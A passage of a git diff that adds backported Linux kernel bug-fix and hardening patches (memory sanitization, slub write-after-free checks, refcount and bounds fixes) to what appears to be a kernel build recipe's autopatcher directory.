a/arch/sparc/crypto/aes_glue.c ++++ b/arch/sparc/crypto/aes_glue.c +@@ -433,6 +433,7 @@ static struct crypto_alg algs[] = { { + .blkcipher = { + .min_keysize = AES_MIN_KEY_SIZE, + .max_keysize = AES_MAX_KEY_SIZE, ++ .ivsize = AES_BLOCK_SIZE, + .setkey = aes_set_key, + .encrypt = cbc_encrypt, + .decrypt = cbc_decrypt, +@@ -452,6 +453,7 @@ static struct crypto_alg algs[] = { { + .blkcipher = { + .min_keysize = AES_MIN_KEY_SIZE, + .max_keysize = AES_MAX_KEY_SIZE, ++ .ivsize = AES_BLOCK_SIZE, + .setkey = aes_set_key, + .encrypt = ctr_crypt, + .decrypt = ctr_crypt, +diff --git a/arch/sparc/crypto/camellia_glue.c b/arch/sparc/crypto/camellia_glue.c +index 641f55cb61c3..eb87d6dd86b1 100644 +--- a/arch/sparc/crypto/camellia_glue.c ++++ b/arch/sparc/crypto/camellia_glue.c +@@ -274,6 +274,7 @@ static struct crypto_alg algs[] = { { + .blkcipher = { + .min_keysize = CAMELLIA_MIN_KEY_SIZE, + .max_keysize = CAMELLIA_MAX_KEY_SIZE, ++ .ivsize = CAMELLIA_BLOCK_SIZE, + .setkey = camellia_set_key, + .encrypt = cbc_encrypt, + .decrypt = cbc_decrypt, +diff --git a/arch/sparc/crypto/des_glue.c b/arch/sparc/crypto/des_glue.c +index d11500972994..1359bfc544e4 100644 +--- a/arch/sparc/crypto/des_glue.c ++++ b/arch/sparc/crypto/des_glue.c +@@ -429,6 +429,7 @@ static struct crypto_alg algs[] = { { + .blkcipher = { + .min_keysize = DES_KEY_SIZE, + .max_keysize = DES_KEY_SIZE, ++ .ivsize = DES_BLOCK_SIZE, + .setkey = des_set_key, + .encrypt = cbc_encrypt, + .decrypt = cbc_decrypt, +@@ -485,6 +486,7 @@ static struct crypto_alg algs[] = { { + .blkcipher = { + .min_keysize = DES3_EDE_KEY_SIZE, + .max_keysize = DES3_EDE_KEY_SIZE, ++ .ivsize = DES3_EDE_BLOCK_SIZE, + .setkey = des3_ede_set_key, + .encrypt = cbc3_encrypt, + .decrypt = cbc3_decrypt, +diff --git a/crypto/ahash.c b/crypto/ahash.c +index 793a27f2493e..857ae2b2a2a2 100644 +--- a/crypto/ahash.c ++++ b/crypto/ahash.c +@@ -462,7 +462,8 @@ static int ahash_prepare_alg(struct ahash_alg *alg) + struct crypto_alg *base = &alg->halg.base; + + if (alg->halg.digestsize > PAGE_SIZE / 8 || +- alg->halg.statesize > PAGE_SIZE / 8) ++ alg->halg.statesize > PAGE_SIZE / 8 || ++ alg->halg.statesize == 0) + return -EINVAL; + + base->cra_type = &crypto_ahash_type; +diff --git a/drivers/block/rbd.c b/drivers/block/rbd.c +index 01677543248d..2fa22c24fa5d 100644 +--- a/drivers/block/rbd.c ++++ b/drivers/block/rbd.c +@@ -4860,7 +4860,6 @@ static int rbd_dev_probe_parent(struct rbd_device *rbd_dev) + out_err: + if (parent) { + rbd_dev_unparent(rbd_dev); +- kfree(rbd_dev->header_name); + rbd_dev_destroy(parent); + } else { + rbd_put_client(rbdc); +diff --git a/drivers/i2c/busses/i2c-rcar.c b/drivers/i2c/busses/i2c-rcar.c +index 8a806f5c40cf..3f2dbd1ce6a3 100644 +--- a/drivers/i2c/busses/i2c-rcar.c ++++ b/drivers/i2c/busses/i2c-rcar.c +@@ -673,15 +673,16 @@ static int rcar_i2c_probe(struct platform_device *pdev) + return ret; + } + ++ pm_runtime_enable(dev); ++ platform_set_drvdata(pdev, priv); ++ + ret = i2c_add_numbered_adapter(adap); + if (ret < 0) { + dev_err(dev, "reg adap failed: %d\n", ret); ++ pm_runtime_disable(dev); + return ret; + } + +- pm_runtime_enable(dev); +- platform_set_drvdata(pdev, priv); +- + dev_info(dev, "probed\n"); + + return 0; +diff --git a/drivers/md/dm-thin.c b/drivers/md/dm-thin.c +index 39996ca58ce6..ec56072c6326 100644 +--- a/drivers/md/dm-thin.c ++++ b/drivers/md/dm-thin.c +@@ -2109,7 +2109,7 @@ static int pool_ctr(struct dm_target *ti, unsigned argc, char **argv) + metadata_low_callback, + pool); + if (r) +- goto out_free_pt; ++ goto out_flags_changed; + + pt->callbacks.congested_fn = pool_is_congested; + dm_table_add_target_callbacks(ti->table, &pt->callbacks); +diff --git a/drivers/net/ppp/pppoe.c b/drivers/net/ppp/pppoe.c +index becfa3ef7fdc..eda9f3d87746 100644 +--- a/drivers/net/ppp/pppoe.c ++++ b/drivers/net/ppp/pppoe.c +@@ -313,7 +313,6 @@ static void pppoe_flush_dev(struct net_device *dev) + if (po->pppoe_dev == dev && + sk->sk_state & (PPPOX_CONNECTED | PPPOX_BOUND | PPPOX_ZOMBIE)) { + pppox_unbind_sock(sk); +- sk->sk_state = PPPOX_ZOMBIE; + sk->sk_state_change(sk); + po->pppoe_dev = NULL; + dev_put(dev); +diff --git a/drivers/net/usb/asix_devices.c b/drivers/net/usb/asix_devices.c +index 97b5de7aebdb..05e8bd7b3e0f 100644 +--- a/drivers/net/usb/asix_devices.c ++++ b/drivers/net/usb/asix_devices.c +@@ -466,19 +466,7 @@ static int ax88772_bind(struct usbnet *dev, struct usb_interface *intf) + return ret; + } + +- ret = asix_sw_reset(dev, AX_SWRESET_IPPD | AX_SWRESET_PRL); +- if (ret < 0) +- return ret; +- +- msleep(150); +- +- ret = asix_sw_reset(dev, AX_SWRESET_CLEAR); +- if (ret < 0) +- return ret; +- +- msleep(150); +- +- ret = asix_sw_reset(dev, embd_phy ? AX_SWRESET_IPRL : AX_SWRESET_PRTE); ++ ax88772_reset(dev); + + /* Read PHYID register *AFTER* the PHY was reset properly */ + phyid = asix_get_phyid(dev); +@@ -888,7 +876,7 @@ static const struct driver_info ax88772_info = { + .unbind = ax88772_unbind, + .status = asix_status, + .link_reset = ax88772_link_reset, +- .reset = ax88772_reset, ++ .reset = ax88772_link_reset, + .flags = FLAG_ETHER | FLAG_FRAMING_AX | FLAG_LINK_INTR | FLAG_MULTI_PACKET, + .rx_fixup = asix_rx_fixup_common, + .tx_fixup = asix_tx_fixup, +diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h +index 478120ae34e5..993e34774bb1 100644 +--- a/include/linux/skbuff.h ++++ b/include/linux/skbuff.h +@@ -2363,6 +2363,9 @@ static inline void skb_postpull_rcsum(struct sk_buff *skb, + { + if (skb->ip_summed == CHECKSUM_COMPLETE) + skb->csum = csum_sub(skb->csum, csum_partial(start, len, 0)); ++ else if (skb->ip_summed == CHECKSUM_PARTIAL && ++ skb_checksum_start_offset(skb) < 0) ++ skb->ip_summed = CHECKSUM_NONE; + } + + unsigned char *skb_pull_rcsum(struct sk_buff *skb, unsigned int len); +diff --git a/include/net/af_unix.h b/include/net/af_unix.h +index dbdfd2b0f3b3..e927d3e80b61 100644 +--- a/include/net/af_unix.h ++++ b/include/net/af_unix.h +@@ -63,7 +63,11 @@ struct unix_sock { + #define UNIX_GC_MAYBE_CYCLE 1 + struct socket_wq peer_wq; + }; +-#define unix_sk(__sk) ((struct unix_sock *)__sk) ++ ++static inline struct unix_sock *unix_sk(struct sock *sk) ++{ ++ return (struct unix_sock *)sk; ++} + + #define peer_wait peer_wq.wait + +diff --git a/include/net/sock.h b/include/net/sock.h +index c0aad07160ef..95dc0c8a9dac 100644 +--- a/include/net/sock.h ++++ b/include/net/sock.h +@@ -782,6 +782,14 @@ static inline __must_check int sk_add_backlog(struct sock *sk, struct sk_buff *s + if (sk_rcvqueues_full(sk, skb, limit)) + return -ENOBUFS; + ++ /* ++ * If the skb was allocated from pfmemalloc reserves, only ++ * allow SOCK_MEMALLOC sockets to use it as this socket is ++ * helping free memory ++ */ ++ if (skb_pfmemalloc(skb) && !sock_flag(sk, SOCK_MEMALLOC)) ++ return -ENOMEM; ++ + __sk_add_backlog(sk, skb); + sk->sk_backlog.len += skb->truesize; + return 0; +diff --git a/kernel/workqueue.c b/kernel/workqueue.c +index fe7c4b91d2e7..fa927fd5778d 100644 +--- a/kernel/workqueue.c ++++ b/kernel/workqueue.c +@@ -1450,13 +1450,13 @@ static void __queue_delayed_work(int cpu, struct workqueue_struct *wq, + timer_stats_timer_set_start_info(&dwork->timer); + + dwork->wq = wq; ++ /* timer isn't guaranteed to run in this cpu, record earlier */ ++ if (cpu == WORK_CPU_UNBOUND) ++ cpu = raw_smp_processor_id(); + dwork->cpu = cpu; + timer->expires = jiffies + delay; + +- if (unlikely(cpu != WORK_CPU_UNBOUND)) +- add_timer_on(timer, cpu); +- else +- add_timer(timer); ++ add_timer_on(timer, cpu); + } + + /** +diff --git a/net/core/ethtool.c b/net/core/ethtool.c +index ce91766eeca9..213b61255140 100644 +--- a/net/core/ethtool.c ++++ b/net/core/ethtool.c +@@ -1066,7 +1066,7 @@ static int ethtool_get_strings(struct net_device *dev, void __user *useraddr) + + gstrings.len = ret; + +- data = kmalloc(gstrings.len * ETH_GSTRING_LEN, GFP_USER); ++ data = kcalloc(gstrings.len, ETH_GSTRING_LEN, GFP_USER); + if (!data) + return -ENOMEM; + +diff --git a/net/core/skbuff.c b/net/core/skbuff.c +index 6148716884ae..05195b8c8718 100644 +--- a/net/core/skbuff.c ++++ b/net/core/skbuff.c +@@ -2711,11 +2711,12 @@ EXPORT_SYMBOL(skb_append_datato_frags); + */ + unsigned char *skb_pull_rcsum(struct sk_buff *skb, unsigned int len) + { ++ unsigned char *data = skb->data; ++ + BUG_ON(len > skb->len); +- skb->len -= len; +- BUG_ON(skb->len < skb->data_len); +- skb_postpull_rcsum(skb, skb->data, len); +- return skb->data += len; ++ __skb_pull(skb, len); ++ skb_postpull_rcsum(skb, data, len); ++ return skb->data; + } + EXPORT_SYMBOL_GPL(skb_pull_rcsum); + +diff --git a/net/l2tp/l2tp_core.c b/net/l2tp/l2tp_core.c +index 8c27de2b4d5a..797ff373e486 100644 +--- a/net/l2tp/l2tp_core.c ++++ b/net/l2tp/l2tp_core.c +@@ -1381,7 +1381,7 @@ static void l2tp_tunnel_del_work(struct work_struct *work) + tunnel = container_of(work, struct l2tp_tunnel, del_work); + sk = l2tp_tunnel_sock_lookup(tunnel); + if (!sk) +- return; ++ goto out; + + sock = sk->sk_socket; + +@@ -1402,6 +1402,8 @@ static void l2tp_tunnel_del_work(struct work_struct *work) + } + + l2tp_tunnel_sock_put(sk); ++out: ++ l2tp_tunnel_dec_refcount(tunnel); + } + + /* Create a socket for the tunnel, if one isn't set up by +@@ -1731,8 +1733,13 @@ EXPORT_SYMBOL_GPL(l2tp_tunnel_create); + */ + int l2tp_tunnel_delete(struct l2tp_tunnel *tunnel) + { ++ l2tp_tunnel_inc_refcount(tunnel); + l2tp_tunnel_closeall(tunnel); +- return (false == queue_work(l2tp_wq, &tunnel->del_work)); ++ if (false == queue_work(l2tp_wq, &tunnel->del_work)) { ++ l2tp_tunnel_dec_refcount(tunnel); ++ return 1; ++ } ++ return 0; + } + EXPORT_SYMBOL_GPL(l2tp_tunnel_delete); + +diff --git a/net/unix/af_unix.c b/net/unix/af_unix.c +index 123c16419cbe..825c029bf092 100644 +--- a/net/unix/af_unix.c ++++ b/net/unix/af_unix.c +@@ -2063,8 +2063,20 @@ again: + if (UNIXCB(skb).fp) + siocb->scm->fp = scm_fp_dup(UNIXCB(skb).fp); + +- sk_peek_offset_fwd(sk, chunk); ++ if (skip) { ++ sk_peek_offset_fwd(sk, chunk); ++ skip -= chunk; ++ } ++ ++ if (UNIXCB(skb).fp) ++ break; + ++ last = skb; ++ unix_state_lock(sk); ++ skb = skb_peek_next(skb, &sk->sk_receive_queue); ++ if (skb) ++ goto again; ++ unix_state_unlock(sk); + break; + } + } while (size); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0006-eeeda4cd06e8-PATCH x86relocs Make percpuloadaddr static.patch b/recipes-kernel/linux/linux-bass/autopatcher/0006-eeeda4cd06e8-PATCH x86relocs Make percpuloadaddr static.patch new file mode 100644 index 0000000..c88b6f4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0006-eeeda4cd06e8-PATCH x86relocs Make percpuloadaddr static.patch @@ -0,0 +1,35 @@ +From eeeda4cd06e828b331b15741a204ff9f5874d28d Mon Sep 17 00:00:00 2001 +From: Ben Hutchings +Date: Wed, 24 Sep 2014 13:30:12 +0100 +Subject: [PATCH] x86/relocs: Make per_cpu_load_addr static + +per_cpu_load_addr is only used for 64-bit relocations, but is +declared in both configurations of relocs.c - with different +types. This has undefined behaviour in general. GNU ld is +documented to use the larger size in this case, but other tools +may differ and some warn about this. + +References: https://bugs.debian.org/748577 +Reported-by: Michael Tautschnig +Signed-off-by: Ben Hutchings +Cc: 748577@bugs.debian.org +Cc: Linus Torvalds +Link: http://lkml.kernel.org/r/1411561812.3659.23.camel@decadent.org.uk +Signed-off-by: Ingo Molnar +--- + arch/x86/tools/relocs.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/arch/x86/tools/relocs.c b/arch/x86/tools/relocs.c +index bbb1d2259ecf52..a5efb21d5228b6 100644 +--- a/arch/x86/tools/relocs.c ++++ b/arch/x86/tools/relocs.c +@@ -695,7 +695,7 @@ static void walk_relocs(int (*process)(struct section *sec, Elf_Rel *rel, + * + */ + static int per_cpu_shndx = -1; +-Elf_Addr per_cpu_load_addr; ++static Elf_Addr per_cpu_load_addr; + + static void percpu_init(void) + { diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0007-1b43ecf49d7d-PATCH dmcrypt run in a WQHIGHPRI workqueue.patch b/recipes-kernel/linux/linux-bass/autopatcher/0007-1b43ecf49d7d-PATCH dmcrypt run in a WQHIGHPRI workqueue.patch new file mode 100644 index 0000000..c6b141d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0007-1b43ecf49d7d-PATCH dmcrypt run in a WQHIGHPRI workqueue.patch @@ -0,0 +1,39 @@ +From 1b43ecf49d7dcea5453067130be200a07c942279 Mon Sep 17 00:00:00 2001 +From: Tim Murray +Date: Tue, 19 Jan 2016 16:33:27 -0800 +Subject: [PATCH] dm-crypt: run in a WQ_HIGHPRI workqueue + +Running dm-crypt in a standard workqueue results in IO competing for CPU +time with standard user apps, which can lead to pipeline bubbles and +seriously degraded performance. Move to a WQ_HIGHPRI workqueue to +protect against that. + +bug 25392275 + +Change-Id: I589149a31c7b5d322fe2ed5b2476b1f6e3d5ee6f +--- + drivers/md/dm-crypt.c | 4 +++- + 1 file changed, 3 insertions(+), 1 deletion(-) + +diff --git a/drivers/md/dm-crypt.c b/drivers/md/dm-crypt.c +index 5972b0662b7..59c8dbe0b97 100644 +--- a/drivers/md/dm-crypt.c ++++ b/drivers/md/dm-crypt.c +@@ -1639,6 +1639,7 @@ static int crypt_ctr(struct dm_target *ti, unsigned int argc, char **argv) + + ret = -ENOMEM; + cc->io_queue = alloc_workqueue("kcryptd_io", ++ WQ_HIGHPRI | + WQ_NON_REENTRANT| + WQ_MEM_RECLAIM, + 1); +@@ -1648,7 +1649,8 @@ static int crypt_ctr(struct dm_target *ti, unsigned int argc, char **argv) + } + + cc->crypt_queue = alloc_workqueue("kcryptd", +- WQ_CPU_INTENSIVE | WQ_MEM_RECLAIM | ++ WQ_HIGHPRI | ++ WQ_MEM_RECLAIM | + WQ_UNBOUND, num_online_cpus()); + if (!cc->crypt_queue) { + ti->error = "Couldn't create kcryptd queue"; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0008-52a4bf740d52-PATCH dmverity run in a WQHIGHPRI workqueue.patch b/recipes-kernel/linux/linux-bass/autopatcher/0008-52a4bf740d52-PATCH dmverity run in a WQHIGHPRI workqueue.patch new file mode 100644 index 0000000..54b115d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0008-52a4bf740d52-PATCH dmverity run in a WQHIGHPRI workqueue.patch @@ -0,0 +1,30 @@ +From 52a4bf740d52cd48660dd6e6ef171801fd0f50aa Mon Sep 17 00:00:00 2001 +From: Tim Murray +Date: Tue, 19 Jan 2016 16:35:17 -0800 +Subject: [PATCH] dm-verity: run in a WQ_HIGHPRI workqueue + +Running dm-verity in a standard workqueue results in IO competing for +CPU time with standard user apps, which can lead to pipeline bubbles and +seriously degraded performance. Move to a WQ_HIGHPRI workqueue to +protect against that. + +bug 25392275 + +Change-Id: Ic65d7bd6f04e4d77780119e926a50e71323575f0 +--- + drivers/md/dm-verity.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/md/dm-verity.c b/drivers/md/dm-verity.c +index ac099847a4b..26e9f05b15d 100644 +--- a/drivers/md/dm-verity.c ++++ b/drivers/md/dm-verity.c +@@ -855,7 +855,7 @@ static int verity_ctr(struct dm_target *ti, unsigned argc, char **argv) + } + + /* WQ_UNBOUND greatly improves performance when running on ramdisk */ +- v->verify_wq = alloc_workqueue("kverityd", WQ_CPU_INTENSIVE | WQ_MEM_RECLAIM | WQ_UNBOUND, num_online_cpus()); ++ v->verify_wq = alloc_workqueue("kverityd", WQ_HIGHPRI | WQ_MEM_RECLAIM | WQ_UNBOUND, num_online_cpus()); + if (!v->verify_wq) { + ti->error = "Cannot allocate workqueue"; + r = -ENOMEM; diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0009.diff b/recipes-kernel/linux/linux-bass/autopatcher/0009.diff new file mode 100644 index 0000000..f363b5a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0009.diff @@ -0,0 +1,20 @@ +diff --git a/net/ipv4/ip_sockglue.c b/net/ipv4/ip_sockglue.c +index 8a4409dd390aac7fcb88383af1550a2f967d..c4fcf9d713cca64a3afaec1628692739d9fa 100644 +--- a/net/ipv4/ip_sockglue.c ++++ b/net/ipv4/ip_sockglue.c +@@ -1243,7 +1243,14 @@ void ipv4_pktinfo_prepare(const struct sock *sk, struct sk_buff *skb) + pktinfo->ipi_ifindex = 0; + pktinfo->ipi_spec_dst.s_addr = 0; + } +- skb_dst_drop(skb); ++ /* We need to keep the dst for __ip_options_echo() ++ * We could restrict the test to opt.ts_needtime || opt.srr, ++ * but the following is good enough as IP options are not often used. ++ */ ++ if (unlikely(IPCB(skb)->opt.optlen)) ++ skb_dst_force(skb); ++ else ++ skb_dst_drop(skb); + } + + int ip_setsockopt(struct sock *sk, int level, diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0010.diff b/recipes-kernel/linux/linux-bass/autopatcher/0010.diff new file mode 100644 index 0000000..9030625 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0010.diff @@ -0,0 +1,55 @@ +diff --git a/net/core/dev.c b/net/core/dev.c +index 7f218e095361520d11c243d650e053321ea7274f..29101c98399f40b6b8e42c31a255d8f1fb6bd7a1 100644 +--- a/net/core/dev.c ++++ b/net/core/dev.c +@@ -1695,24 +1695,19 @@ EXPORT_SYMBOL_GPL(net_dec_egress_queue); + + static struct static_key netstamp_needed __read_mostly; + #ifdef HAVE_JUMP_LABEL +-/* We are not allowed to call static_key_slow_dec() from irq context +- * If net_disable_timestamp() is called from irq context, defer the +- * static_key_slow_dec() calls. +- */ + static atomic_t netstamp_needed_deferred; +-#endif +- +-void net_enable_timestamp(void) ++static void netstamp_clear(struct work_struct *work) + { +-#ifdef HAVE_JUMP_LABEL + int deferred = atomic_xchg(&netstamp_needed_deferred, 0); + +- if (deferred) { +- while (--deferred) +- static_key_slow_dec(&netstamp_needed); +- return; +- } ++ while (deferred--) ++ static_key_slow_dec(&netstamp_needed); ++} ++static DECLARE_WORK(netstamp_work, netstamp_clear); + #endif ++ ++void net_enable_timestamp(void) ++{ + static_key_slow_inc(&netstamp_needed); + } + EXPORT_SYMBOL(net_enable_timestamp); +@@ -1720,12 +1715,12 @@ EXPORT_SYMBOL(net_enable_timestamp); + void net_disable_timestamp(void) + { + #ifdef HAVE_JUMP_LABEL +- if (in_interrupt()) { +- atomic_inc(&netstamp_needed_deferred); +- return; +- } +-#endif ++ /* net_disable_timestamp() can be called from non process context */ ++ atomic_inc(&netstamp_needed_deferred); ++ schedule_work(&netstamp_work); ++#else + static_key_slow_dec(&netstamp_needed); ++#endif + } + EXPORT_SYMBOL(net_disable_timestamp); + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0011.diff b/recipes-kernel/linux/linux-bass/autopatcher/0011.diff new file mode 100644 index 0000000..a5f6a59 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0011.diff @@ -0,0 +1,16 @@ +diff --git a/net/ipv4/icmp.c b/net/ipv4/icmp.c +index 681e33998e03b609fdca83a83e0fc62a3fee8c39..e51d777797a927058760a1ab7af00579f7488cb5 100644 +--- a/net/ipv4/icmp.c ++++ b/net/ipv4/icmp.c +@@ -732,7 +732,8 @@ void icmp_send(struct sk_buff *skb_in, int type, int code, __be32 info) + room = 576; + room -= sizeof(struct iphdr) + icmp_param.replyopts.opt.opt.optlen; + room -= sizeof(struct icmphdr); +- ++ if (room < 0) ++ goto ende; + icmp_param.data_len = skb_in->len - icmp_param.offset; + if (icmp_param.data_len > room) + icmp_param.data_len = room; + + \ No newline at end of file diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0012-f714c6bae785-PATCH gather extra early boot entropy like PaX.patch b/recipes-kernel/linux/linux-bass/autopatcher/0012-f714c6bae785-PATCH gather extra early boot entropy like PaX.patch new file mode 100644 index 0000000..c8bfdd0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0012-f714c6bae785-PATCH gather extra early boot entropy like PaX.patch @@ -0,0 +1,38 @@ +From f714c6bae785e6f8afeb471d381b14d3871fef15 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Tue, 14 Mar 2017 15:32:03 -0400 +Subject: [PATCH] gather extra early boot entropy like PaX + +--- + mm/page_alloc.c | 11 +++++++++++ + 1 file changed, 11 insertions(+) + +diff --git a/mm/page_alloc.c b/mm/page_alloc.c +index 60ad3901c0d..5a5e5a19c7c 100644 +--- a/mm/page_alloc.c ++++ b/mm/page_alloc.c +@@ -61,6 +61,7 @@ + #include + #include + #include ++#include + + #include + #include +@@ -783,6 +784,16 @@ void __free_pages_bootmem(struct page *page, unsigned int order) + set_page_count(p, 0); + } + ++ if (!PageHighMem(page) && page_to_pfn(page) < 0x100000) { ++ unsigned long hash = 0; ++ size_t index, end = PAGE_SIZE * nr_pages / sizeof hash; ++ const unsigned long *data = lowmem_page_address(page); ++ ++ for (index = 0; index < end; index++) ++ hash ^= hash + data[index]; ++ add_device_randomness((const void *)&hash, sizeof(hash)); ++ } ++ + page_zone(page)->managed_pages += 1 << order; + set_page_refcounted(page); + __free_pages(page, order); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0013-977266822fd3-PATCH add page sanitization verification.patch b/recipes-kernel/linux/linux-bass/autopatcher/0013-977266822fd3-PATCH add page sanitization verification.patch new file mode 100644 index 0000000..8421018 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0013-977266822fd3-PATCH add page sanitization verification.patch @@ -0,0 +1,94 @@ +From 977266822fd37e7d7097b8e1c914db04976d8288 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Fri, 20 Jan 2017 16:51:25 -0500 +Subject: [PATCH] add page sanitization / verification + +--- + include/linux/highmem.h | 22 ++++++++++++++++++++++ + mm/page_alloc.c | 12 ++++++++++-- + 2 files changed, 32 insertions(+), 2 deletions(-) + +diff --git a/include/linux/highmem.h b/include/linux/highmem.h +index 35cd6c33079..56543d48059 100644 +--- a/include/linux/highmem.h ++++ b/include/linux/highmem.h +@@ -7,6 +7,7 @@ + #include + #include + #include ++#include + + #include + +@@ -211,6 +212,27 @@ static inline void clear_highpage(struct page *page) + kunmap_atomic(kaddr); + } + ++static inline void sanitize_highpage(struct page *page) ++{ ++ void *kaddr; ++ unsigned long flags; ++ ++ local_irq_save(flags); ++ kaddr = kmap_atomic(page); ++ clear_page(kaddr); ++ kunmap_atomic(kaddr); ++ local_irq_restore(flags); ++} ++ ++static inline void sanitize_highpage_verify(struct page *page) ++{ ++ void *kaddr; ++ ++ kaddr = kmap_atomic(page); ++ BUG_ON(memchr_inv(kaddr, 0, PAGE_SIZE)); ++ kunmap_atomic(kaddr); ++} ++ + static inline void zero_user_segments(struct page *page, + unsigned start1, unsigned end1, + unsigned start2, unsigned end2) +diff --git a/mm/page_alloc.c b/mm/page_alloc.c +index 5a5e5a19c7c..bfb89cde2c9 100644 +--- a/mm/page_alloc.c ++++ b/mm/page_alloc.c +@@ -718,6 +718,8 @@ static bool free_pages_prepare(struct page *page, unsigned int order) + int i; + int bad = 0; + ++ unsigned long index = 1UL << order; ++ + trace_mm_page_free(page, order); + kmemcheck_free_shadow(page, order); + +@@ -740,6 +742,10 @@ static bool free_pages_prepare(struct page *page, unsigned int order) + debug_check_no_obj_freed(page_address(page), + PAGE_SIZE << order); + } ++ ++ for (; index; --index) ++ sanitize_highpage(page + index - 1); ++ + arch_free_page(page, order); + kernel_map_pages(page, 1 << order, 0); + +@@ -896,6 +902,8 @@ static int prep_new_page(struct page *page, int order, gfp_t gfp_flags) + { + int i; + ++ unsigned long index = 1UL << order; ++ + for (i = 0; i < (1 << order); i++) { + struct page *p = page + i; + if (unlikely(check_new_page(p))) +@@ -908,8 +916,8 @@ static int prep_new_page(struct page *page, int order, gfp_t gfp_flags) + arch_alloc_page(page, order); + kernel_map_pages(page, 1 << order, 1); + +- if (gfp_flags & __GFP_ZERO) +- prep_zero_page(page, order, gfp_flags); ++ for (; index; --index) ++ sanitize_highpage_verify(page + index - 1); + + if (order && (gfp_flags & __GFP_COMP)) + prep_compound_page(page, order); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0014-0e6bd128bff6-PATCH add slub sanitization.patch b/recipes-kernel/linux/linux-bass/autopatcher/0014-0e6bd128bff6-PATCH add slub sanitization.patch new file mode 100644 index 0000000..aa0a78a --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0014-0e6bd128bff6-PATCH add slub sanitization.patch @@ -0,0 +1,27 @@ +From 0e6bd128bff66c38a3e7c14d154bcad35015e754 Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Mon, 23 Jan 2017 22:40:10 -0500 +Subject: [PATCH] add slub sanitization + +--- + mm/slub.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/mm/slub.c b/mm/slub.c +index 28a8aa19d04..47315499c6a 100644 +--- a/mm/slub.c ++++ b/mm/slub.c +@@ -2606,6 +2606,13 @@ static __always_inline void slab_free(struct kmem_cache *s, + + slab_free_hook(s, x); + ++ if (!(s->flags & (SLAB_DESTROY_BY_RCU | SLAB_POISON))) { ++ size_t offset = s->offset ? 0 : sizeof(void *); ++ memset(x + offset, 0, s->object_size - offset); ++ if (s->ctor) ++ s->ctor(x); ++ } ++ + redo: + /* + * Determine the currently cpus per cpu slab. diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0015-77b74b4ccbc1-PATCH slub add check for writeafterfree.patch b/recipes-kernel/linux/linux-bass/autopatcher/0015-77b74b4ccbc1-PATCH slub add check for writeafterfree.patch new file mode 100644 index 0000000..a705ad3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0015-77b74b4ccbc1-PATCH slub add check for writeafterfree.patch @@ -0,0 +1,25 @@ +From 77b74b4ccbc109451abb7297aeab8b9a32c5e14b Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Sun, 2 Apr 2017 19:45:55 -0400 +Subject: [PATCH] slub: add check for write-after-free + +--- + mm/slub.c | 5 +++++ + 1 file changed, 5 insertions(+) + +diff --git a/mm/slub.c b/mm/slub.c +index 47315499c6a..a4cba911731 100644 +--- a/mm/slub.c ++++ b/mm/slub.c +@@ -2400,6 +2400,11 @@ static __always_inline void *slab_alloc_node(struct kmem_cache *s, + stat(s, ALLOC_FASTPATH); + } + ++ if (!(s->flags & (SLAB_DESTROY_BY_RCU | SLAB_POISON)) && !s->ctor && object) { ++ size_t offset = s->offset ? 0 : sizeof(void *); ++ BUG_ON(memchr_inv((void *)object + offset, 0, s->object_size - offset)); ++ } ++ + if (unlikely(gfpflags & __GFP_ZERO) && object) + memset(object, 0, s->object_size); + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0016-52626f3c20ec-PATCH disable slab merging by default.patch b/recipes-kernel/linux/linux-bass/autopatcher/0016-52626f3c20ec-PATCH disable slab merging by default.patch new file mode 100644 index 0000000..0211bf6 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0016-52626f3c20ec-PATCH disable slab merging by default.patch @@ -0,0 +1,22 @@ +From 52626f3c20ec8f22422b1ee1630d0fd8eb3dac6d Mon Sep 17 00:00:00 2001 +From: Daniel Micay +Date: Tue, 10 Jan 2017 20:47:23 -0500 +Subject: [PATCH] disable slab merging by default + +--- + mm/slub.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/mm/slub.c b/mm/slub.c +index a4cba911731..7430d06bc70 100644 +--- a/mm/slub.c ++++ b/mm/slub.c +@@ -2685,7 +2685,7 @@ static int slub_min_objects; + * Merge control. If this is set then no merging of slab caches will occur. + * (Could be removed. This was introduced to pacify the merge skeptics.) + */ +-static int slub_nomerge; ++static int slub_nomerge = 1; + + /* + * Calculate the order of allocation given an slab object size. diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0017-5a2a848ea633-PATCH add slub free list XOR encryption.patch b/recipes-kernel/linux/linux-bass/autopatcher/0017-5a2a848ea633-PATCH add slub free list XOR encryption.patch new file mode 100644 index 0000000..decb750 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0017-5a2a848ea633-PATCH add slub free list XOR encryption.patch @@ -0,0 +1,87 @@ +From 5a2a848ea633a6467be8bec0214577bdf1792d56 Mon Sep 